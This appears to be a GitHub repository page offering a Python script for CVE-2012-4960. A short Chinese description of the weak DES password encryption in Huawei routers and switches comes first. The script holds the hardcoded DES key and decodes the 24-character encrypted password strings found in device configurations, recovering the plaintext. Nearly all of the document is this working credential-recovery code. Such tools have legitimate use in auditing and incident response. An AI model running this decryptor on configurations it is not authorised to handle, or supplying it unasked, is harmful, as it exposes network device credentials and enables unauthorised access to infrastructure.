ghcohu/decrypt-passwords-for-huawei-routers-and-switches-cve-2012-4960Code to decrypt Huawei passwords CVE-2012-4960
在多个华为产品中，密码采用DES加密算法，但其加密强度不足，因此可能被破解。该漏洞已被分配通用漏洞与暴露（CVE）编号：CVE-2012-4960。
from Crypto.Cipher import DES
import binascii
def decode_char(c):
if c == 'a':
r = '?'
else:
r = c
return ord(r) - ord('!')
def ascii_to_binary(s):
assert len(s) == 24
out = [0]*18
i = 0
j = 0
for i in range(0, len(s), 4):
y = decode_char(s[i + 0])
y = (y << 6) & 0xffffff
k = decode_char(s[i + 1])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 2])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 3])
y = (y | k) & 0xffffff
out[j+2] = chr(y & 0xff)
out[j+1] = chr((y>>8) & 0xff)
out[j+0] = chr((y>>16) & 0xff)
j += 3
return "".join(out)
def decrypt_password(p):
r = ascii_to_binary(p)
r = r[:16]
d = DES.new(b"\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
r_bytes = r.encode('latin-1')
r = d.decrypt(r_bytes)
return r.rstrip(b"\x00").decode('latin-1')
#the encrypted key must be 24 characters long
int = r"""Please insert the encrypted password here and respect the triple " on each side"""
print(decrypt_password(int))